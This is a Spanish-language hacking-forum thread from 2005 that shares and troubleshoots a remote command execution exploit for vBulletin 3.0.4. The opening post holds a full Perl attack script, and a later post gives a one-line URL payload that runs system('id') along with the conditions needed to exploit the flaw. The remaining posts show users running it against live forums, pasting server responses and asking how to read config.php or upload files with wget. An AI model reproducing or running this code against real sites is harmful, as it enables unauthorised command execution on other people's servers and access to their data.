Tema destacado: Nueva página de elhacker.net en Google+ 
Autor
|
Tema: Vbulletin 3.0.4 remote command execution Exploit (Leído 1,929 veces)
|
|
Rojodos
|
Escrito en Perl, aunque se tienen que dar bastantes condiciones para que funcione, tanto este como el original. Ahi va el original en PHP: http://www.k-otik.com/exploits/20050215.vbulletin3.php************************************** #!/usr/bin/perl # vbulletin 3.0.4 remote command execution by pokleyzz <pokleyzz_at_scan-associates.net> # # Requirement: # showforumusers ON # # # bug found by AL3NDALEEB <al3ndaleeb_at_uk2.net> # # usage : # vbulletin30-xp.pl <forumdisplay.php url> <forum id> <command> # # example : # vbulletin30-xp.pl http://192.168.1.78/forumdisplay.php 1 "ls -la" # # !! Happy Chinese new Year !!
use IO::Socket;
sub parse_url { local($url) = @_;
if ($url =~ m#^(\w+):#) { $protocol = $1; $protocol =~ tr/A-Z/a-z/; } else { return undef; }
if ($protocol eq "http") { if ($url =~ m#^\s*\w+://([\w-\.]+):?(\d*)([^ \t]*)$#) { $server = $1; $server =~ tr/A-Z/a-z/; $port = ($2 ne "" ? $2 : $http_port); $path = ( $3 ? $3 : '/'); return ($protocol, $server, $port, $path); } return undef; } }
sub urlencode{ my($esc) = @_; $esc =~ s/^\s+|\s+$//gs; $esc =~ s/([^a-zA-Z0-9_\-.])/uc sprintf("%%%02x",ord($1))/eg; $esc =~ s/ /\+/g; $esc =~ s/%20/\+/g; return $esc; }
$url = $ARGV[0]; $fid = $ARGV[1]; $cmd = urlencode($ARGV[2]);
$http_port = 80;
$shellcode ="GLOBALS[]=1&f=$fid&cmd=$cmd&comma={\${system(\$cmd)}}{\${exit()}}";
@target = parse_url($url);
$conn = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target[1], PeerPort => $target[2], ) or die "\nUnable to connect\n"; $conn -> autoflush(1); print $conn "GET $target[3]?$shellcode HTTP/1.1\r\nHost: $target[1]:$target[2]\r\nConnection: Close\r\n\r\n"; while (<$conn>){ print $_; } close $conn; ************************************************
|
|
|
|
|
En línea
|
|
|
|
EL_ZoRRo
Desconectado
Mensajes: 234
|
Aqui les adjunto el primer exploit que salio y las condiciones de las que habla rojodos. Exploit: ---------------- http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
Conditions: ---------------- 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in init.php by secret array GLOBALS[]=1 ;))) Puedo decir que lo probe y funciona. Salu2
|
|
|
|
|
En línea
|
|
|
|
|
viruss1362
|
a mi me da error namas probarlo
erl lo.pl "use" not allowed in expression at lo.pl line 33, at end of line syntax error at lo.pl line 33, near "use IO: ocket" Invalid [] range "_-." in regex; marked by <-- HERE in m/([^a-zA-Z0-9_-. <-- HERE ])/
|
|
|
|
|
En línea
|
Más vale parecer un idiota con la boca cerrada, que abrir la boca y demostrar que lo eres www.equipome.com
|
|
|
NokeR
Desconectado
Mensajes: 79
Ubuntu User
|
$esc =~ s/([^a-zA-Z0-9_\-.])/uc sprintf("%%%02x",ord($1))/eg; esa es la linea que da el fallo, y se le ha de borrar un _ para que quede: $esc =~ s/([^a-zA-Z0-9-.])/uc sprintf("%%%02x",ord($1))/eg;
Pero mi pregunta es, # usage : # vbulletin30-xp.pl <forumdisplay.php url> <forum id> <command> la forma de usarlo seria: vbulletin30-xp.pl http://web.com/forumdisplay.php 22 id por ejemplo, no? pues he probado con varias, y me responde dandome el codigo HTML de la web, porque? ??? Un saludo
|
|
|
|
|
En línea
|
|
|
|
EL_ZoRRo
Desconectado
Mensajes: 234
|
example : # vbulletin30-xp.pl http://192.168.1.78/forumdisplay.php 1 "ls -la" #[
Ahi esta el ejemplo, el id es un nuemero que se le asigna a cada subforo, fijate que varia de subforo a subforo, bueno es lo mismo cualquier id el tema que tienes que poner una que realmente exista. Es mas simple ejecutar mediante el navegador el (remote command exec), va a mi en realida siempre me gusta realizarlo mediante el navegador asi sea un fallo SQL, RFI etc a no ser que el scrip me briende por ejemplo un proxy para no logear en el server Salu2 .
|
|
|
|
« Última modificación: 19 Febrero 2005, 10:44 por EL_ZoRRo »
|
En línea
|
|
|
|
NokeR
Desconectado
Mensajes: 79
Ubuntu User
|
ya eso, es con el xploit de sql, mediante navegador, pero el de perl porque al ejecutarle me responde con el codigo HTML ? :S
|
|
|
|
|
En línea
|
|
|
|
EL_ZoRRo
Desconectado
Mensajes: 234
|
Te estas confundiendo no viste el exploit que postee mas arriba
Salu2
|
|
|
|
|
En línea
|
|
|
|
NokeR
Desconectado
Mensajes: 79
Ubuntu User
|
Te estas confundiendo no viste el exploit que postee mas arriba
Salu2
si lo vi, pero el que tu posteastes no se como se usa...., en cambio el de perl, ya he conseguido hacerlo usar, metiendole un uno donde te pide <forum id> que donde sta esa id?, he conseguido que me aparezca mi id de usuario, osea nobody o apache, entonces yo pregunto, cuando ya ma salido la id de usuario que tengo yo, porque no me deja catear el config.php o hacerle un tail ?
|
|
|
|
|
En línea
|
|
|
|
NokeR
Desconectado
Mensajes: 79
Ubuntu User
|
Te estas confundiendo no viste el exploit que postee mas arriba
Salu2
si lo vi, pero el que tu posteastes no se como se usa...., en cambio el de perl, ya he conseguido hacerlo usar, metiendole un uno donde te pide <forum id> que donde sta esa id?, he conseguido que me aparezca mi id de usuario, osea nobody o apache, entonces yo pregunto, cuando ya ma salido la id de usuario que tengo yo, porque no me deja catear el config.php o hacerle un tail ? Esque al ejecutarlo, me aparece: C:\>vb.pl http://www.web.com/foro/forumdisplay.php 1 ls HTTP/1.1 200 OK Date: Sat, 19 Feb 2005 02:21:34 GMT Server: Apache/2.0.40 (Red Hat Linux) Accept-Ranges: bytes X-Powered-By: PHP/4.2.2 Set-Cookie: bblastvisit=1108779694; expires=Sun, 19-Feb-06 02:21:34 GMT; path=/ Set-Cookie: bblastactivity=1108779586; expires=Sun, 19-Feb-06 02:21:34 GMT; path =/ Cache-Control: private Content-Length: 0 Connection: close Content-Type: text/html; charset=ISO-8859-1 y nada mas, en cambio si hago un id, abajo de todo eso, me dice la ID
|
|
|
|
|
En línea
|
|
|
|
EL_ZoRRo
Desconectado
Mensajes: 234
|
Es muy simple tienes que copiar el code en tui navegador eso si siuempre en el paht que este el foro
Pero mira no andes ejecutando scripts y luego te encuentras en el server y no sabes que hacer , primero el usuario www o apache o nobody es un usuario que posse muy bajos pribilegios ni sueñes poder modificar el index de una pag. Hasta te digo que solo puedes ejecutar cosas en /tmp y en /var/tmp Asi que usa tu imaginacion para saber que puedes hacer
Salu2
|
|
|
|
|
En línea
|
|
|
|
NokeR
Desconectado
Mensajes: 79
Ubuntu User
|
ske he probado tu exploit, y no se me tira, en cambio el exploit hecho en Perl me funciona mejor, y lo que yo te digo, esque al ejecutar el comando: "id" me sale mi id, pero si ejecuto otros comandos me aparece el numero: "0".
Porque?
Saludos
|
|
|
|
|
En línea
|
|
|
|
|
viruss1362
|
a mi segun el foro k ponga me sale un codigo html o se ejecuta el comando pero los comandos k me van son pocos.. el uname -a, en algun server el ls o poca cosa mas.. el wget no me sube na...
|
|
|
|
|
En línea
|
Más vale parecer un idiota con la boca cerrada, que abrir la boca y demostrar que lo eres www.equipome.com
|
|
|
Gamb88
Desconectado
Mensajes: 180
Green Day Maniac
|
ok!! me sale esto HTTP/1.1 200 OK Date: Sat, 19 Feb 2005 16:30:16 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.3.2 Expires: 0 Cache-Control: private, post-check=0, pre-check=0, max-age=0 Pragma: no-cache Set-Cookie: bbsessionhash=d9cf615305520be2616923ced3875f4d; path=/ Set-Cookie: bblastvisit=1108830616; expires=Sun, 19-Feb-2006 16:30:16 GMT; path= / Set-Cookie: bblastactivity=1108830616; expires=Sun, 19-Feb-2006 16:30:16 GMT; pa th=/ Content-Type: text/html; charset=ISO-8859-1 Age: 1 Connection: close y la lista de directorios + los php's alojadas en el server.. (foro) cual es el objetivo del exploit? acceder como root?? no le entiendo el chiste. Hice el cookie asi.. Bbsessionhash d9cf615305520be2616923ced3875f4d * bblastvisit 1108830616 expires Sun, 19-Feb-2006 16:30:16 GMT * bblastactivity=1108830616 expires Sun, 19-Feb-2006 16:30:16 GMT y lo guarde como internet@victimaforums.txt (reeemplaze el cookie que me habia debajo la web) o sea el conetenido pero el nombre segui siendo el mismo.. que onda.. Atte. Gamb88
|
|
|
|
« Última modificación: 20 Febrero 2005, 02:35 por Gamb88 »
|
En línea
|
I walk this empty street, On the blvd. of broken dreams. Where the city sleeps, And I'm the only one and I walk alone..
|
|
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.320
Peace & Love
|
cual es el objetivo del exploit? acceder como root?? no le entiendo el chiste.
Si lees el titulo dice "remote command execution" , puedes ejecutar comandos remotamente en la maquina.
|
|
|
|
|
En línea
|
|
|
|
Gamb88
Desconectado
Mensajes: 180
Green Day Maniac
|
Si lees el titulo dice "remote command execution" , puedes ejecutar comandos remotamente en la maquina.
Entonces estos comandos me dejan hacer cookies remotamente, no?
|
|
|
|
|
En línea
|
I walk this empty street, On the blvd. of broken dreams. Where the city sleeps, And I'm the only one and I walk alone..
|
|
|
|
|